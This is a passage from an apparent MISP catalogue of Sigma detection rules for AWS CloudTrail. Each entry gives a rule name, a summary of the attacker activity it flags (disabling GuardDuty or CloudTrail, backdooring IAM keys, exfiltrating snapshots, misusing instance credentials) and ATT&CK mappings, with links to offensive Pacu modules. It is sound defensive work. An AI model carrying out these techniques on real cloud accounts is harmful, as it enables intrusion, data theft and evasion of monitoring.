https://suktech24.com/2025/07/17/aws-threat-detection-rule-guardduty-detector-disabled-or-suspended/
https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/defense_evasion_guardduty_detector_deletion.toml
https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Amazon%20Web%20Services/Analytic%20Rules/AWS_GuardDutyDisabled.yaml
https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/ensure-aws-guardduty-detector-is-enabled
https://research.splunk.com/sources/5d8bd475-c8bc-4447-b27f-efa508728b90/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_guardduty_detector_deleted_or_updated.yml

Ingress/Egress Security Group Modification

Detects when an account makes changes to the ingress or egress rules of a security group. This can indicate that an attacker is attempting to open up new attack vectors in the account, that they are trying to exfiltrate data over the network, or that they are trying to allow machines in that VPC/Subnet to contact a C&C server.

The tag is: *misp-galaxy:sigma-rules="Ingress/Egress Security Group Modification"*

View relationships graph

Ingress/Egress Security Group Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 17019. Table References

Links
https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_security_group_change_ingress_egress.yml

AWS Glue Development Endpoint Activity

Detects possible suspicious glue development endpoint activity.

The tag is: *misp-galaxy:sigma-rules="AWS Glue Development Endpoint Activity"*

Table 17020. Table References

Links
https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html
https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_passed_role_to_glue_development_endpoint.yml

AWS EFS Fileshare Mount Modified or Deleted

Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.

The tag is: *misp-galaxy:sigma-rules="AWS EFS Fileshare Mount Modified or Deleted"*

View relationships graph

AWS EFS Fileshare Mount Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 17021. Table References

Links
https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_efs_fileshare_mount_modified_or_deleted.yml

Restore Public AWS RDS Instance

Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.

The tag is: *misp-galaxy:sigma-rules="Restore Public AWS RDS Instance"*

View relationships graph

Restore Public AWS RDS Instance has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

Table 17022. Table References

Links

https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rdsexplore_snapshots/main.py
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_rds_public_db_restore.yml

AWS ConsoleLogin Failed Authentication

Detects failed AWS console login attempts due to authentication failures. Monitoring these events is crucial for identifying potential brute-force attacks or unauthorized access attempts to AWS accounts.

The tag is: *misp-galaxy:sigma-rules="AWS ConsoleLogin Failed Authentication"*

View relationships graph

AWS ConsoleLogin Failed Authentication has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 17023. Table References

Links
https://naikordian.github.io/blog/posts/brute-force-aws-console/
https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1110.001/aws_login_failure/aws_cloudtrail_events.json
https://help.fortinet.com/fsiem/Public_Resource_Access/7_2_1/rules/PH_RULE_AWS_Management_Console_Brute_Force_of_Root_User_Identity.htm
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_console_login_failed_authentication.yml

AWS EKS Cluster Created or Deleted

Identifies when an EKS cluster is created or deleted.

The tag is: *misp-galaxy:sigma-rules="AWS EKS Cluster Created or Deleted"*

View relationships graph

AWS EKS Cluster Created or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 17024. Table References

Links
https://any-api.com/amazonaws_com/eks/docs/API_Description
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_eks_cluster_created_or_deleted.yml

New Network Route Added

Detects the addition of a new network route to a route table in AWS.

The tag is: *misp-galaxy:sigma-rules="New Network Route Added"*

View relationships graph

New Network Route Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Firewall - T1562.007" with estimative-language:likelihood-probability="almost-certain"

Table 17025. Table References

Links
https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_new_route_added.yml

AWS KMS Imported Key Material Usage

Detects the import or deletion of key material in AWS KMS, which can be used as part of ransomware attacks. This activity is uncommon and provides a high certainty signal.

The tag is: *misp-galaxy:sigma-rules="AWS KMS Imported Key Material Usage"*

View relationships graph

AWS KMS Imported Key Material Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Install Digital Certificate - T1608.003" with estimative-language:likelihood-probability="almost-certain"

Table 17026. Table References

Links
https://www.chrisfarris.com/post/effective-aws-ransomware/
https://docs.aws.amazon.com/kms/latest/developerguide/ct-importkeymaterial.html

https://docs.aws.amazon.com/kms/latest/developerguide/ct-deleteimportedkeymaterial.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_kms_import_key_material.yml

AWS Suspicious SAML Activity

Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.

The tag is: *misp-galaxy:sigma-rules="AWS Suspicious SAML Activity"*

View relationships graph

AWS Suspicious SAML Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"

Table 17027. Table References

Links
https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html
https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_susp_saml_activity.yml

Potential Bucket Enumeration on AWS

Looks for potential enumeration of AWS buckets via ListBuckets.

The tag is: *misp-galaxy:sigma-rules="Potential Bucket Enumeration on AWS"*

View relationships graph

Potential Bucket Enumeration on AWS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Infrastructure Discovery - T1580" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Storage Object Discovery - T1619" with estimative-language:likelihood-probability="almost-certain"

Table 17028. Table References

Links
https://jamesonhacking.blogspot.com/2020/12/pivoting-to-private-aws-s3-buckets.html
https://securitycafe.ro/2022/12/14/aws-enumeration-part-ii-practical-enumeration/
https://github.com/Lifka/hacking-resources/blob/c2ae355d381bd0c9f0b32c4ead049f44e5b1573f/cloud-hacking-cheat-sheets.md
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_enum_buckets.yml

AWS IAM S3Browser User or AccessKey Creation

Detects S3 Browser utility creating IAM User or AccessKey.

The tag is: *misp-galaxy:sigma-rules="AWS IAM S3Browser User or AccessKey Creation"*

View relationships graph

AWS IAM S3Browser User or AccessKey Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud API - T1059.009" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17029. Table References

Links
https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_iam_s3browser_user_or_accesskey_creation.yml

AWS Successful Console Login Without MFA

Detects successful AWS console logins that were performed without Multi-Factor Authentication (MFA). This alert can be used to identify potential unauthorized access attempts, as logging in without MFA can indicate compromised credentials or misconfigured security settings.

The tag is: *misp-galaxy:sigma-rules="AWS Successful Console Login Without MFA"*

View relationships graph

AWS Successful Console Login Without MFA has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17030. Table References

Links
https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html
https://securitylabs.datadoghq.com/cloud-security-atlas/vulnerabilities/iam-user-without-mfa/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_console_login_success_without_mfa.yml

AWS IAM Backdoor Users Keys

Detects AWS API key creation for a user by another user. Backdoored users can be used to obtain persistence in the AWS environment. Also with this alert, you can detect a flow of AWS keys in your org.

The tag is: *misp-galaxy:sigma-rules="AWS IAM Backdoor Users Keys"*

View relationships graph

AWS IAM Backdoor Users Keys has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 17031. Table References

Links
https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iambackdoor_users_keys/main.py
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_iam_backdoor_users_keys.yml

AWS ElastiCache Security Group Created

Detects when an ElastiCache security group has been created.

The tag is: *misp-galaxy:sigma-rules="AWS ElastiCache Security Group Created"*

View relationships graph

AWS ElastiCache Security Group Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"

Table 17032. Table References

Links
https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_elasticache_security_group_created.yml

AWS Route 53 Domain Transfer Lock Disabled

Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.

The tag is: *misp-galaxy:sigma-rules="AWS Route 53 Domain Transfer Lock Disabled"*

View relationships graph

AWS Route 53 Domain Transfer Lock Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 17033. Table References

Links
https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html
https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml
https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_route_53_domain_transferred_lock_disabled.yml

AWS EC2 Disable EBS Encryption

Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region. Disabling default encryption does not change the encryption status of your existing volumes.

The tag is: *misp-galaxy:sigma-rules="AWS EC2 Disable EBS Encryption"*

View relationships graph

AWS EC2 Disable EBS Encryption has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="almost-certain"

Table 17034. Table References

Links
https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_ec2_disable_encryption.yml

AWS EFS Fileshare Modified or Deleted

Detects when a EFS Fileshare is modified or deleted. You can't delete a file system that is in use. If the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.

The tag is: *misp-galaxy:sigma-rules="AWS EFS Fileshare Modified or Deleted"*

Table 17035. Table References

Links
https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_efs_fileshare_modified_or_deleted.yml

AWS STS AssumeRole Misuse

Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.

The tag is: *misp-galaxy:sigma-rules="AWS STS AssumeRole Misuse"*

View relationships graph

AWS STS AssumeRole Misuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"

Table 17036. Table References

Links
https://github.com/elastic/detection-rules/pull/1214

https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_sts_assumerole_misuse.yml

Modification or Deletion of an AWS RDS Cluster

Detects modifications to an RDS cluster or its deletion, which may indicate potential data exfiltration attempts, unauthorized access, or exposure of sensitive information.

The tag is: *misp-galaxy:sigma-rules="Modification or Deletion of an AWS RDS Cluster"*

View relationships graph

Modification or Deletion of an AWS RDS Cluster has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

Table 17037. Table References

Links
https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBCluster.html
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc#rds-modifydbinstance
https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBCluster.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_rds_dbcluster_actions.yml

AWS Identity Center Identity Provider Change

Detects a change in the AWS Identity Center (FKA AWS SSO) identity provider. A change in identity provider allows an attacker to establish persistent access or escalate privileges via user impersonation.

The tag is: *misp-galaxy:sigma-rules="AWS Identity Center Identity Provider Change"*

View relationships graph

AWS Identity Center Identity Provider Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 17038. Table References

Links
https://docs.aws.amazon.com/singlesignon/latest/userguide/sso-info-in-cloudtrail.html

https://docs.aws.amazon.com/singlesignon/latest/userguide/app-enablement.html
https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsiamidentitycentersuccessortoawssinglesign-on.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_sso_idp_change.yml

AWS GuardDuty Important Change

Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.

The tag is: *misp-galaxy:sigma-rules="AWS GuardDuty Important Change"*

View relationships graph

AWS GuardDuty Important Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 17039. Table References

Links
https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/guarddutywhitelist_ip/main.py#L9
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_guardduty_disruption.yml

AWS Route 53 Domain Transferred to Another Account

Detects when a request has been made to transfer a Route 53 domain to another AWS account.

The tag is: *misp-galaxy:sigma-rules="AWS Route 53 Domain Transferred to Another Account"*

View relationships graph

AWS Route 53 Domain Transferred to Another Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 17040. Table References

Links

https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_route_53_domain_transferred_to_another_account.yml

AWS Snapshot Backup Exfiltration

Detects the modification of an EC2 snapshot's permissions to enable access from another account

The tag is: *misp-galaxy:sigma-rules="AWS Snapshot Backup Exfiltration"*

View relationships graph

AWS Snapshot Backup Exfiltration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"

Table 17041. Table References

Links
https://www.justice.gov/file/1080281/download
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_snapshot_backup_exfiltration.yml

AWS CloudTrail Important Change

Detects disabling, deleting and updating of a Trail

The tag is: *misp-galaxy:sigma-rules="AWS CloudTrail Important Change"*

View relationships graph

AWS CloudTrail Important Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Logs - T1562.008" with estimative-language:likelihood-probability="almost-certain"

Table 17042. Table References

Links
https://docs.aws.amazon.com/awscloudtrail/latest/userguide/best-practices-security.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_disable_logging.yml

AWS IAM S3Browser LoginProfile Creation

Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.

The tag is: *misp-galaxy:sigma-rules="AWS IAM S3Browser LoginProfile Creation"*

View relationships graph

AWS IAM S3Browser LoginProfile Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud API - T1059.009" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17043. Table References

Links
https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_iam_s3browser_loginprofile_creation.yml

AWS STS GetCallerIdentity Enumeration Via TruffleHog

Detects the use of TruffleHog for AWS credential validation by identifying GetCallerIdentity API calls where the userAgent indicates TruffleHog. Threat actors leverage TruffleHog to enumerate and validate exposed AWS keys. Successful exploitation allows threat actors to confirm the validity of compromised AWS credentials, facilitating further unauthorized access and actions within the AWS environment.

The tag is: *misp-galaxy:sigma-rules="AWS STS GetCallerIdentity Enumeration Via TruffleHog"*

View relationships graph

AWS STS GetCallerIdentity Enumeration Via TruffleHog has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-language:likelihood-probability="almost-certain"

Table 17044. Table References

Links
https://docs.aws.amazon.com/STS/latest/APIReference/API_GetCallerIdentity.html
https://github.com/trufflesecurity/trufflehog

https://www.rapid7.com/blog/post/tr-crimson-collective-a-new-threat-group-observed-operating-in-the-cloud/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_sts_getcalleridentity_trufflehog.yml

Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure

Detects when an instance identity has taken an action that isn't inside SSM. This can indicate that a compromised EC2 instance is being used as a pivot point.

The tag is: *misp-galaxy:sigma-rules="Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure"*

View relationships graph

Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

Table 17045. Table References

Links
https://www.packetmischief.ca/2023/07/31/amazon-ec2-credential-exfiltration-how-it-happens-and-how-to-mitigate-it/#lifting-credentials-from-imds-this-is-why-we-cant-have-nice-things
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-identity-roles.html
https://ermetic.com/blog/aws/aws-ec2-imds-what-you-need-to-know/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_imds_malicious_usage.yml

Potential Malicious Usage of CloudTrail System Manager

Detect when System Manager successfully executes commands against an instance.

The tag is: *misp-galaxy:sigma-rules="Potential Malicious Usage of CloudTrail System Manager"*

View relationships graph

Potential Malicious Usage of CloudTrail System Manager has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

Table 17046. Table References

Links
https://github.com/elastic/detection-rules/blob/v8.6.0/rules/integrations/aws/initial_access_via_system_manager.toml
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_ssm_malicious_usage.yml

AWS ECS Task Definition That Queries The Credential Endpoint

Detects when an Elastic Container Service (ECS) Task Definition includes a command to query the credential endpoint. This can indicate a potential adversary adding a backdoor to establish persistence or escalate privileges.

The tag is: *misp-galaxy:sigma-rules="AWS ECS Task Definition That Queries The Credential Endpoint"*

View relationships graph

AWS ECS Task Definition That Queries The Credential Endpoint has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Implant Internal Image - T1525" with estimative-language:likelihood-probability="almost-certain"

Table 17047. Table References

Links
https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecsbackdoor_task_def/main.py
https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html
https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_ecs_task_definition_cred_endpoint_query.yml

AWS EC2 VM Export Failure

An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.

The tag is: *misp-galaxy:sigma-rules="AWS EC2 VM Export Failure"*

View relationships graph

AWS EC2 VM Export Failure has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"

Table 17048. Table References

Links
https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_ec2_vm_export_failure.yml

AWS EC2 Startup Shell Script Change

Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.

The tag is: *misp-galaxy:sigma-rules="AWS EC2 Startup Shell Script Change"*

View relationships graph

AWS EC2 Startup Shell Script Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

Table 17049. Table References

Links
https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2startup_shell_script/main.py#L9
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_ec2_startup_script_change.yml

AWS S3 Bucket Versioning Disable

Detects when S3 bucket versioning is disabled. Threat actors use this technique during AWS ransomware incidents prior to deleting S3 objects.

The tag is: *misp-galaxy:sigma-rules="AWS S3 Bucket Versioning Disable"*

View relationships graph

AWS S3 Bucket Versioning Disable has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 17050. Table References

Links
https://invictus-ir.medium.com/ransomware-in-the-cloud-7f14805bbe82
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_disable_bucket_versioning.yml

AWS Bucket Deleted

Detects the deletion of S3 buckets in AWS CloudTrail logs. Monitoring the deletion of S3 buckets is critical for security and data integrity, as it may indicate potential data loss or unauthorized access attempts.

The tag is: *misp-galaxy:sigma-rules="AWS Bucket Deleted"*

Table 17051. Table References

Links
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/delete-bucket.html
https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucket.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_bucket_deleted.yml

AWS SecurityHub Findings Evasion

Detects the modification of the findings on SecurityHub.

The tag is: *misp-galaxy:sigma-rules="AWS SecurityHub Findings Evasion"*

View relationships graph

AWS SecurityHub Findings Evasion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-

language:likelihood-probability="almost-certain"

Table 17052. Table References

Links
https://docs.aws.amazon.com/cli/latest/reference/securityhub/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_securityhub_finding_evasion.yml

AWS S3 Data Management Tampering

Detects when a user tampers with S3 data management in Amazon Web Services.

The tag is: *misp-galaxy:sigma-rules="AWS S3 Data Management Tampering"*

View relationships graph

AWS S3 Data Management Tampering has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"

Table 17053. Table References

Links
https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html
https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html
https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html
https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html
https://github.com/elastic/detection-rules/pull/1145/files
https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html
https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_s3_data_management_tampering.yml

AWS SAML Provider Deletion Activity

Detects the deletion of an AWS SAML provider, potentially indicating malicious intent to disrupt administrative or security team access. An attacker can remove the SAML provider for the information security team or a team of system administrators, to make it difficult for them to work and investigate at the time of the attack and after it.

The tag is: *misp-galaxy:sigma-rules="AWS SAML Provider Deletion Activity"*

View relationships graph

AWS SAML Provider Deletion Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"

Table 17054. Table References

Links
https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeleteSAMLProvider.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_delete_saml_provider.yml

AWS RDS Master Password Change

Detects the change of database master password. It may be a part of data exfiltration.

The tag is: *misp-galaxy:sigma-rules="AWS RDS Master Password Change"*

View relationships graph

AWS RDS Master Password Change has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

Table 17055. Table References

Links
https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rdsexplore_snapshots/main.py
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_rds_change_master_password.yml

AWS EnableRegion Command Monitoring

Detects the use of the EnableRegion command in AWS CloudTrail logs. While AWS has 30+ regions, some of them are enabled by default, others must be explicitly enabled in each account separately. There may be situations where security monitoring does not cover some new AWS regions. Monitoring the EnableRegion command is important for identifying potential persistence mechanisms employed by adversaries, as enabling additional regions can facilitate continued access and operations within an AWS environment.

The tag is: *misp-galaxy:sigma-rules="AWS EnableRegion Command Monitoring"*

Table 17056. Table References

Links
https://docs.aws.amazon.com/accounts/latest/reference/API_EnableRegion.html
https://awscli.amazonaws.com/v2/documentation/api/2.14.0/reference/account/enable-region.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_region_enabled.yml

AWS Key Pair Import Activity

Detects the import of SSH key pairs into AWS EC2, which may indicate an attacker attempting to gain unauthorized access to instances. This activity could lead to initial access, persistence, or privilege escalation, potentially compromising sensitive data and operations.

The tag is: *misp-galaxy:sigma-rules="AWS Key Pair Import Activity"*

View relationships graph

AWS Key Pair Import Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17057. Table References

Links
https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_ec2_import_key_pair_activity.yml

AWS Config Disabling Channel/Recorder

Detects AWS Config Service disabling

